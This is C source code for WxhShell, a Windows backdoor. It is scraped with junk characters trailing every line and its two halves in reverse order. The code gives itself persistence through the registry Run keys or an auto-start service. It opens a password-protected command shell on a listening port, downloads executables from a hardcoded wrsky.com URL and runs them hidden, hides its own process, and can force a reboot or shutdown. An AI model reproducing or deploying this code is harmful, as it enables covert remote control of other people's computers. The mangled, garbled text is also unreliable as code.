    send(wsh,msg_ws_err,strlen(msg_ws_err),0); L2~'Z'q  
    else { d/~g3n>|  
    closesocket(wsh); O.xtY @'"  
    ExitThread(0); 3 5L0 CM  
    } HTvUt*U1  
    break; T5.^ w  
    } YV@efPy}n  
  // 获取shell *0Fz." v  
  case 's': { /m 7~-~$V  
    CmdShell(wsh); 0\@oqw]6hv  
    closesocket(wsh); \/V#,O  
    ExitThread(0); 6qT-  
    break; QgQ$>  
  } F*>#Xr~/  
  // 退出 uhp.Yv@c  
  case 'x': { kY{$[+-jR  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); lmL$0{Yr  
    CloseIt(wsh); # h4FLF_w  
    break; Ud e?[6  
    } BHZhdm@),  
  // 离开 M'|p<SO]  
  case 'q': { lCl5#L9  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); NuD|%Ebs  
    closesocket(wsh); fBv: TC%  
    WSACleanup(); *)6\ V}`  
    exit(1); P+OS  
    break; G43r85LO  
        } >V)"TZH  
  } _nxH;Za  
  } ,u)jZ7  
W\;|mEEu  
  // 提示信息 P?P.QK  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); rPGj+wL5-  
} w-LENdw  
  } RwOOe7mv  
/S1/ZI  
  return; c:>&YGmhu  
} <'SS IMr  
tpO '<b  
// shell模块句柄 }*xjO/Ey  
int CmdShell(SOCKET sock) NRp  
{ >8=lX`9f{  
STARTUPINFO si; U,;796h  
ZeroMemory(&si,sizeof(si)); @|Yn~PwKs  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ubOXEkZ8N  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; >][D"  
PROCESS_INFORMATION ProcessInfo; } e+`Kxy  
char cmdline[]="cmd"; OHsA]7S  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); JTm'fo[  
  return 0; LCtVM70  
} W ulyM cJ  
QeuM',6R  
// 自身启动模式 NlKVl~_ C  
int StartFromService(void) ljOY;WV3  
{ 6L$KMYHE  
typedef struct gBcs  
{ ,qv\Y]  
  DWORD ExitStatus; :/$WeAg  
  DWORD PebBaseAddress; JcmJq fR  
  DWORD AffinityMask; %<(d %&~  
  DWORD BasePriority; AD?XJ3  
  ULONG UniqueProcessId;  QSY>8P  
  ULONG InheritedFromUniqueProcessId; yV\%K6d|3&  
}   PROCESS_BASIC_INFORMATION; @*Ry`)T  
HdB>CVuh  
PROCNTQSIP NtQueryInformationProcess; 4\ Xaou2V[  
1Z @sh>X|  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 51Y%"v t  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; /[\g8U{5B}  
}P.Z}n;Uj  
  HANDLE             hProcess; V@#oQi*  
  PROCESS_BASIC_INFORMATION pbi; rlY0UA,  
_O uNX.yrG  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); w3);ZQ|  
  if(NULL == hInst ) return 0; -kMw[Y  
x0(bM g>7  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); Q'Osw"  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); k)S1Zs~G  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); rMbq_5}  
VYkh@j  
  if (!NtQueryInformationProcess) return 0; i l@>b  
.G!xcQ`?  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); $$1t4=Pz  
  if(!hProcess) return 0; 5 k3m"*  
k !0O[U  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; \\KjiT'  
1?FG3X 5  
  CloseHandle(hProcess); X%IqZ{ {  
hDJG.,r  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); l X+~;94  
if(hProcess==NULL) return 0; {&IB[Y6  
e! *] y&W  
HMODULE hMod; TsK!36cg  
char procName[255]; cE 'LE1DK  
unsigned long cbNeeded; T3{~f  
w>^(w<~Y  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 018SFle  
'lA}E  
  CloseHandle(hProcess); 3P2{M}WIl  
&`l\Q\_[@  
if(strstr(procName,"services")) return 1; // 以服务启动 hFi gY\$m  
6-_g1vq  
  return 0; // 注册表启动 JVX)>2&$  
} 5+M,X kg  
9,INyEyAL  
// 主模块 <}{<FXk[  
int StartWxhshell(LPSTR lpCmdLine) qS/}aDk&  
{ s"=TM$Vb  
  SOCKET wsl; F%|P#CaB  
BOOL val=TRUE; 1Z< ^8L<  
  int port=0; ]|CcQ1#|H  
  struct sockaddr_in door; l&+O*=#Hh  
{wz)^A sy  
  if(wscfg.ws_autoins) Install(); wBXa;.  
hi!A9T3%}M  
port=atoi(lpCmdLine); s`bGW1#io  
eavn.I8J  
if(port<=0) port=wscfg.ws_port; %@Gy<t,  
%(W&(eN  
  WSADATA data; q8d](MaX  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; dXh[Ea^  
t8-Nli*O  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   (NLw#)?  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); {O2=K#J  
  door.sin_family = AF_INET; &<e18L 7a  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); PG63{  
  door.sin_port = htons(port); &6vaLx  
;Yee0O!d4  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ]M*`Y[5"  
closesocket(wsl); u?`{s88_mF  
return 1; W 94:%  
} -13}]Gls7Q  
>whv*@Fr  
  if(listen(wsl,2) == INVALID_SOCKET) { tC'E#2  
closesocket(wsl); ~x,_A>a  
return 1; >g{&Qx`&  
} ^5E9p@d"J  
  Wxhshell(wsl); Nj4CkMM[3  
  WSACleanup(); eTp|!T  
61H_o7XXk  
return 0; \lQ3j8 U  
-fPiHKJ  
} _l7_!Il_  
M)oKtiav*  
// 以NT服务方式启动 P$U" y/  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) `CVkjLiy  
{ We{@0K/O  
DWORD   status = 0; jvB[bS`<H  
  DWORD   specificError = 0xfffffff; V gMgeja  
_ACN  
  serviceStatus.dwServiceType     = SERVICE_WIN32; o+Jnn"8  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; ,kJ7c;:i  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; R#hy2kA  
  serviceStatus.dwWin32ExitCode     = 0; "HJ^>%ia  
  serviceStatus.dwServiceSpecificExitCode = 0; T9V=#+8#"  
  serviceStatus.dwCheckPoint       = 0; s9+):,dKP  
  serviceStatus.dwWaitHint       = 0; u"qVT9C$=  
n!z!fh  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); CImp,k0  
  if (hServiceStatusHandle==0) return; ,)[9RgsE  
 C^"zU>W_  
status = GetLastError(); 0]SWyC :  
  if (status!=NO_ERROR) Z}$sY>E  
{ 1M&Lb. J6  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; G~5pMyOR  
    serviceStatus.dwCheckPoint       = 0; TMMKRC1<  
    serviceStatus.dwWaitHint       = 0; .JLJ(WM  
    serviceStatus.dwWin32ExitCode     = status; qt@/  
    serviceStatus.dwServiceSpecificExitCode = specificError; ^ nPy(Q0  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 1]:,Xa+|S  
    return; xJ$uoy3+  
  } /iO"4%v  
&AJ bx  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; -E|"?  
  serviceStatus.dwCheckPoint       = 0; f`Fj-<v  
  serviceStatus.dwWaitHint       = 0; et+lL"&  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); zj r($?  
} sR9$=91`  
67rY+u%  
// 处理NT服务事件,比如:启动、停止 z]N#.utQ  
VOID WINAPI NTServiceHandler(DWORD fdwControl) zU!{_Ao9  
{  9Do75S{(  
switch(fdwControl) +=J $:/&U  
{ eWDXV-xD  
case SERVICE_CONTROL_STOP: #` 3Q4  
  serviceStatus.dwWin32ExitCode = 0; [nxYfER7  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; n' mrLZw  
  serviceStatus.dwCheckPoint   = 0; <}WSYK,zUY  
  serviceStatus.dwWaitHint     = 0; W~mo*EJ'^  
  { y7UU'k`  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); r:V bjmL  
  } 1!^BcrG.  
  return; ywp_,j9F  
case SERVICE_CONTROL_PAUSE: F\N0<o  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; VvW4!1Dl  
  break; neu+h6#H  
case SERVICE_CONTROL_CONTINUE: bQ>wyA+G&E  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; YWn""8p;P  
  break; FBl,Mky  
case SERVICE_CONTROL_INTERROGATE: enPtW  
  break; HVA:|Z19  
}; TI3xt-/  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); :4zPYG o  
} Mi.2 >  
E?+~S M1~  
// 标准应用程序主函数 P\Qvj7_  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) Vw w 211  
{ vx?KenO}  
Jy:*GW6  
// 获取操作系统版本 dE8f?L'  
OsIsNt=GetOsVer(); K7 C <}y  
GetModuleFileName(NULL,ExeFile,MAX_PATH); =b$g_+  
JYNn zgd  
  // 从命令行安装 m)6 6g]F+  
  if(strpbrk(lpCmdLine,"iI")) Install(); ^ q ba<#e  
?&0CEfa?  
  // 下载执行文件 LNJKf6:  
if(wscfg.ws_downexe) { :a Cf@:']  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK)  Fw[1Aa#  
  WinExec(wscfg.ws_filenam,SW_HIDE); H 2I  
} xytWE:=  
4'D^>z!c  
if(!OsIsNt) { qWK}  
// 如果时win9x,隐藏进程并且设置为注册表启动 ;s,1/ kA  
HideProc(); W= NX$=il  
StartWxhshell(lpCmdLine); kVsX/ ~$  
} !Yo2P"  
else 0* x ?rO?  
  if(StartFromService()) br88b`L  
  // 以服务方式启动 /|U;_F Pmc  
  StartServiceCtrlDispatcher(DispatchTable); ,+BFpN'  
else Q-h< av9  
  // 普通方式启动 Vfd_nD^8oZ  
  StartWxhshell(lpCmdLine); hFoeVM[h  
Z .`+IN(>E  
return 0; #pRbRT9  
} |7|'J Ty  
JqLPJUr  
A\mSS  
Se??E+aX  
=========================================== |(x%J[n0+  
-"yma_  
w,6gnO  
HHyN\  
'O~_g5kC  
T: '<:*pD  
"  1^hG}#6_  
CiU^U|~'L  
#include <stdio.h> F'<XB~ &o  
#include <string.h> Y"5FK  
#include <windows.h> 4t*VI<=<[  
#include <winsock2.h> 2bXCFv7}  
#include <winsvc.h> F$v^S+Ch  
#include <urlmon.h> Y]&2E/oc  
3 P\4K  
#pragma comment (lib, "Ws2_32.lib") p*$=EomY  
#pragma comment (lib, "urlmon.lib") ]$)};8;7W  
Ei,dO;&  
#define MAX_USER   100 // 最大客户端连接数 aQWg?,Ju6  
#define BUF_SOCK   200 // sock buffer 6a]Qg99\  
#define KEY_BUFF   255 // 输入 buffer !Y^B{bh  
|.~2C1 4[  
#define REBOOT     0   // 重启 Z~ q="CA4  
#define SHUTDOWN   1   // 关机 z5^Se!`5  
V-%jSe<  
#define DEF_PORT   5000 // 监听端口 l Hu8ADva  
>4lA+1JYk  
#define REG_LEN     16   // 注册表键长度 $f"Ce,f  
#define SVC_LEN     80   // NT服务名长度 6XhS g0s  
yaC_r-%U&  
// 从dll定义API PVq y\i  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ;M#D*<ucI:  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); W}^>lM\8  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 8(6mH'^y  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); <UwA5X`0e.  
&C/,~pJ1S  
// wxhshell配置信息 dr=KoAIxy  
struct WSCFG { 2c9]Ja3:6  
  int ws_port;         // 监听端口 ltl(S Ii  
  char ws_passstr[REG_LEN]; // 口令 /h!iLun7I  
  int ws_autoins;       // 安装标记, 1=yes 0=no fJ-8$w\uL  
  char ws_regname[REG_LEN]; // 注册表键名 n QOLR? %  
  char ws_svcname[REG_LEN]; // 服务名 nza^<DlS  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 44hz,  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 }?d l.=eq  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 }PzYt~Z`@  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 4mWT"T-8  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" {<^PYN>`  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 5~omZ,qe  
rI1;>/Ir  
}; %lK]m`(  
p~u11rH  
// default Wxhshell configuration h,Tsb:Q"M  
struct WSCFG wscfg={DEF_PORT, gl6*bB=  
    "xuhuanlingzhe", ,OO0*%  
    1, $66DyK?  
    "Wxhshell", "(y|iS$^T  
    "Wxhshell", cW, 6 MAQo  
            "WxhShell Service", 852Bh'u_  
    "Wrsky Windows CmdShell Service", |(1z ?Spbe  
    "Please Input Your Password: ", @y\M8C8  
  1, @MGc_"b  
  "http://www.wrsky.com/wxhshell.exe", ~%:23mIk  
  "Wxhshell.exe" 9L xa?Y1  
    }; }3mIj<I1;  
5eSmyj-W  
// 消息定义模块 uYwJ[1 C  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; >sE{c>R%  
char *msg_ws_prompt="\n\r? for help\n\r#>"; [VwoZX:  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; owc#RW9 7  
char *msg_ws_ext="\n\rExit."; E MKv)5MH  
char *msg_ws_end="\n\rQuit."; iY1JU -S  
char *msg_ws_boot="\n\rReboot..."; k@ZmI^  
char *msg_ws_poff="\n\rShutdown..."; KC{ HX?  
char *msg_ws_down="\n\rSave to "; Z:}d\~`x$%  
"S@%d(lg  
char *msg_ws_err="\n\rErr!"; 6<<ihm+  
char *msg_ws_ok="\n\rOK!"; 6rOd80\  
W.u}Q@  
char ExeFile[MAX_PATH]; <}$o=>'  
int nUser = 0;  OL|UOG  
HANDLE handles[MAX_USER]; QGnBNsAh  
int OsIsNt; .DSmy\FI5  
Ey!+rq}  
SERVICE_STATUS       serviceStatus; Cuq=>J  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; @bj3 N  
X4U$#uI{  
// 函数声明 PNn{Rt  
int Install(void); lclSzC9  
int Uninstall(void); 8D U|j-I8  
int DownloadFile(char *sURL, SOCKET wsh); Ojf.D6nY  
int Boot(int flag); =FXZcP>h  
void HideProc(void); EnGVp<6R  
int GetOsVer(void); q8{) 27f,  
int Wxhshell(SOCKET wsl); Rb~NX  
void TalkWithClient(void *cs); ?HBNd&gZ1G  
int CmdShell(SOCKET sock); ;|f|d?Q\  
int StartFromService(void); Mg0[PbS  
int StartWxhshell(LPSTR lpCmdLine); /MB3w m  
Eh)PZvH  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); }Zue?!KQ  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); {re<S<j&  
+KV`+zic+  
// 数据结构和表定义 CD'.bFO^+T  
SERVICE_TABLE_ENTRY DispatchTable[] = tB_GEt2M  
{ wtCz%!OYB  
{wscfg.ws_svcname, NTServiceMain}, Ap{p_~~iJ  
{NULL, NULL} B`x rdtW  
}; >M\3tB2C  
]4m;NId  
// 自我安装 tk@ T-;  
int Install(void) xG JX~)  
{ B\,pbOE?#  
  char svExeFile[MAX_PATH]; +,&8U&~`  
  HKEY key; Qx-/t9`!Z  
  strcpy(svExeFile,ExeFile); _s/ 5oRHA  
3?F*|E_  
// 如果是win9x系统,修改注册表设为自启动 }j^asuf~c  
if(!OsIsNt) { [eebIJs  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { I'Dc9&2  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ]3xb Q1  
  RegCloseKey(key);  x w8 e  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { X!,2/WT  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ;by` [)  
  RegCloseKey(key); ,iKL 68  
  return 0; !e5!8z  
    } >YwvM=b"V  
  } 7JvBzD42  
} Ib(q9!L  
else { {Jf["Z  
w\o?p.drp=  
// 如果是NT以上系统,安装为系统服务 [&e|:1  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ,%>]  
if (schSCManager!=0) WC6yQSnY&  
{ 0x&-/qce6W  
  SC_HANDLE schService = CreateService |sP;`h}I%  
  ( ;m<22@,E&  
  schSCManager, $on"@l%U  
  wscfg.ws_svcname, .E H&GX  
  wscfg.ws_svcdisp, tk'1o\@p9b  
  SERVICE_ALL_ACCESS, xeo5)  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , or~2r8  
  SERVICE_AUTO_START, (X=JT  
  SERVICE_ERROR_NORMAL, {k CCpU  
  svExeFile, 1:!_AU?  
  NULL, gD}lDK6N  
  NULL, >Q5et1c  
  NULL, 7Gwn,&)  
  NULL, ,sw|OYb  
  NULL 6_Ps*Ed  
  ); uDhe )  
  if (schService!=0) {)V!wSi  
  { Q=YIAGK  
  CloseServiceHandle(schService); %.k~L  
  CloseServiceHandle(schSCManager); X:N`x  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); \wMqVRPoQ  
  strcat(svExeFile,wscfg.ws_svcname); f4%Z~3P  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { z$64Ep#  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); I+08tXO  
  RegCloseKey(key); S2y_5XJ<D  
  return 0; C K#^`w  
    } bwrM%BL  
  } >:o$h2  
  CloseServiceHandle(schSCManager); |ry![\  
} eILdq*  
} !4.VK-a9V%  
qQ&=Z` p!  
return 1; 6 zyxGJ(  
} o,r72>|  
mafnkQU  
// 自我卸载 ;$nCQ/ /  
int Uninstall(void) NUO#[7OK+x  
{ 7)RDu,fx  
  HKEY key; lJHU1 gu  
#%9t-  
if(!OsIsNt) { WswM5RN  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ^X]rFY1  
  RegDeleteValue(key,wscfg.ws_regname); As{Q9o5j/  
  RegCloseKey(key); PF+F^;C  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 7MbV|gM}  
  RegDeleteValue(key,wscfg.ws_regname); 3<XP/c";  
  RegCloseKey(key); AU$<W"%R  
  return 0; SO|!x}GfI  
  } } yb"/jp  
} F ,;B  
} ;W 3#q:  
else {  .u3;  
y&n-8L_  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); t f3R  
if (schSCManager!=0) awU! 3)B  
{ c)j60y   
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); u+;iR/  
  if (schService!=0) +B '<0  
  { o[aP+O Md  
  if(DeleteService(schService)!=0) { sC'PtFK8z  
  CloseServiceHandle(schService); l5 T0x=y9!  
  CloseServiceHandle(schSCManager); aCRiW;+'  
  return 0; qV#,]mX  
  } ?vBMx _0  
  CloseServiceHandle(schService); *b4W+E  
  } ]>/oo=E  
  CloseServiceHandle(schSCManager); 1rIL[(r4  
} swz)gh-*  
} F05]6NVv  
j6d{r\!$4  
return 1; V.e30u5  
} r0Zj'F_e  
:bq$ {  
// 从指定url下载文件 /[qLf:rGI  
int DownloadFile(char *sURL, SOCKET wsh) n v ?u  
{ -]Ny-[P  
  HRESULT hr; e +Ikw1y"f  
char seps[]= "/"; Z5V_?bm$  
char *token; kr\#CW0?  
char *file; j;<s!A#  
char myURL[MAX_PATH]; I.gF38Mx  
char myFILE[MAX_PATH]; d" =)=hm!  
'5lwlF  
strcpy(myURL,sURL); v'Pbx  
  token=strtok(myURL,seps); cte Wl/v  
  while(token!=NULL) m f\tMik<  
  { Hf +oG  
    file=token; )+Yu7=S  
  token=strtok(NULL,seps); C1uV7t*\  
  } 98maQQWD  
%KPQ|^WE  
GetCurrentDirectory(MAX_PATH,myFILE); l>T]Y  
strcat(myFILE, "\\"); ?jU 3%"  
strcat(myFILE, file); K}DrJ/s  
  send(wsh,myFILE,strlen(myFILE),0); -nZDFC8y$  
send(wsh,"...",3,0); t9.| i H  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); `[&%fTW+  
  if(hr==S_OK) ck$>   
return 0; pQ xv_4  
else ezA&cZ5  
return 1; g^{a;=  
A>f rf[fAW  
} ~uG/F?= Q:  
wn.UjxX.  
// 系统电源模块 ~wu\j][2  
int Boot(int flag) !Ld[`d.|R!  
{ w ^ X@PpP  
  HANDLE hToken; R1Fcd@DWD  
  TOKEN_PRIVILEGES tkp; It]GlxMX  
7e[&hea  
  if(OsIsNt) { W!|l_/L'   
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); SB:z[kfz|  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); K."W/A!  
    tkp.PrivilegeCount = 1; iM$iZ;Tp  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; +1a2Un  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); h(i_'P?  
if(flag==REBOOT) { #@ F   
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) `,Fc271`  
  return 0; !FQS9SoO9  
} paUJq?Af  
else { 9R:?vk4  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) PB #EU 9  
  return 0; yQq|!'MKk  
} u~!Pzz3"  
  } ItE)h[86  
  else { ,nWZJ&B  
if(flag==REBOOT) { (hIe!"s *  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) Gw#z:gX2  
  return 0; ^Yo2R  
} Mn*5oH  
else { p3B_NsXVZ  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ?SX0e(+}}  
  return 0; BPu>_$C  
} jF{)2|5  
} +WvW#wpH  
]_hXg*?  
return 1; 3 =_to7]  
} 5IP@_GV|  
rUmnv%qTS  
// win9x进程隐藏模块 &>Z p}.V  
void HideProc(void) scZ'/(b-E  
{ `nL^]i  
! 6_tdZ  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); RohD.`D  
  if ( hKernel != NULL ) Y|<1|wGG  
  { 'D?sRbJ=  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); mZ.E;X& ,*  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); {#l@9r%  
    FreeLibrary(hKernel); TzrU |D?  
  } 9-?kamA  
S4%MnT6Uy  
return; @_?8I_\:  
} leEzfbb{'.  
u_S>`I  
// 获取操作系统版本 gR{.0e  
int GetOsVer(void) fQ,(,^!;  
{ r<.*:]L  
  OSVERSIONINFO winfo; [mQ*];GA  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); :w4I+* ]  
  GetVersionEx(&winfo); D 3}e{J8  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) B'D 4]EB  
  return 1; 2 Xc,c*r  
  else d?(eL(W  
  return 0; Uf-`g>  
} /J'dG%  
P C  
// 客户端句柄模块 .:jfNp~jt  
int Wxhshell(SOCKET wsl) a<{+ J U5  
{ cH$Sk  
  SOCKET wsh; ;AgXl%Q  
  struct sockaddr_in client; "a >a "Ei  
  DWORD myID; |h%fi-a:  
oNBYJ]t  
  while(nUser<MAX_USER) zgHF-KEV  
{ 3mM.#2=@>  
  int nSize=sizeof(client); ppM^&6x^  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); ?HaUT(\j  
  if(wsh==INVALID_SOCKET) return 1; &:*|KxX  
B\Y !5$  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 9S[Tan|  
if(handles[nUser]==0) 6995r%  
  closesocket(wsh); RJZ4fl  
else CI6qDh6  
  nUser++; z|>f*Z  
  } [8.w2\<?  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); +']S  
FzGla})  
  return 0; {pNf& '  
} K-*q3oh G  
ssC5YtF7X  
// 关闭 socket hgi9%>o UB  
void CloseIt(SOCKET wsh) BpKgUwf;C  
{ ua vv  
closesocket(wsh); I~>L4~g)  
nUser--; onj:+zl  
ExitThread(0); xN#. Pm~  
} JR j%d&^}  
i bwnK?ZA  
// 客户端请求句柄 jVpk) ;vC  
void TalkWithClient(void *cs) <C_FI` wk  
{ H A(e  
eqze7EY  
  SOCKET wsh=(SOCKET)cs; pB;p\9A*q  
  char pwd[SVC_LEN]; ]OOL4=b  
  char cmd[KEY_BUFF]; If_S_A c  
char chr[1]; 6 4da~SEn  
int i,j; ]='E&=nc  
O5Xu(q5+  
  while (nUser < MAX_USER) { 'L2M  W  
kEE8cW3  
if(wscfg.ws_passstr) { Dyj5a($9"{  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); f9g#pyH4  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); @M-+-6+  
  //ZeroMemory(pwd,KEY_BUFF); ^.J F?2T/  
      i=0; ?Q]{d'g(sx  
  while(i<SVC_LEN) { Hs+VA$$*  
5Qik{cWxBq  
  // 设置超时 M"]~}*  
  fd_set FdRead; \S@;>A<J  
  struct timeval TimeOut; 8JUUK(&Z  
  FD_ZERO(&FdRead); .sA?}H#wb  
  FD_SET(wsh,&FdRead); g(Jzu'  
  TimeOut.tv_sec=8; r c7"sIkV  
  TimeOut.tv_usec=0; sgo({zA`i  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); @l^=&53T  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); h&Ehp   
\z<B=RT\  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 3I?? K)Yl  
  pwd=chr[0]; D!~-53f@  
  if(chr[0]==0xd || chr[0]==0xa) { "| <\\HR  
  pwd=0; ` =!&9o  
  break; V,($I'&/  
  } ]}cai1  
  i++; !c\d(u  
    } k|,pj^  
A:EF#2) g  
  // 如果是非法用户,关闭 socket ;PJWd|3  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 7{ :| )  
} ZN|DR|c UY  
l,*v/95h  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); t#~r'5va  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); <$n%h/2%  
gO?+:}!  
while(1) { I-i)D  
"';'*x  
  ZeroMemory(cmd,KEY_BUFF); O k_I}X  
n\5` JNCb  
      // 自动支持客户端 telnet标准   UHz*Tfjb  
  j=0; N7*JL2Rnq  
  while(j<KEY_BUFF) { +}X?+Epm  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Wy,DA^\ef  
  cmd[j]=chr[0]; PEoO s  
  if(chr[0]==0xa || chr[0]==0xd) { C8y 3T/G  
  cmd[j]=0; <oPo?r|oM|  
  break; _Q/D%7[pa  
  } rSB"0 W7  
  j++; ,-t3gc1~X  
    } $GUSTV  
`|i #)  
  // 下载文件 }#q9>gx  
  if(strstr(cmd,"http://")) { J}TS-j0  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); +M (\R?@gr  
  if(DownloadFile(cmd,wsh)) )ye[R^!}  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); h/`OG>./  
  else Q$W0>bUP  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ()K%Rn  
  } tz&=v,_jc  
  else { G!oq ;<  
\rcbt6H  
    switch(cmd[0]) { c}Y(Myd  
  :HRJ49a  
  // 帮助 N6$pOQ  
  case '?': { vyERt^z  
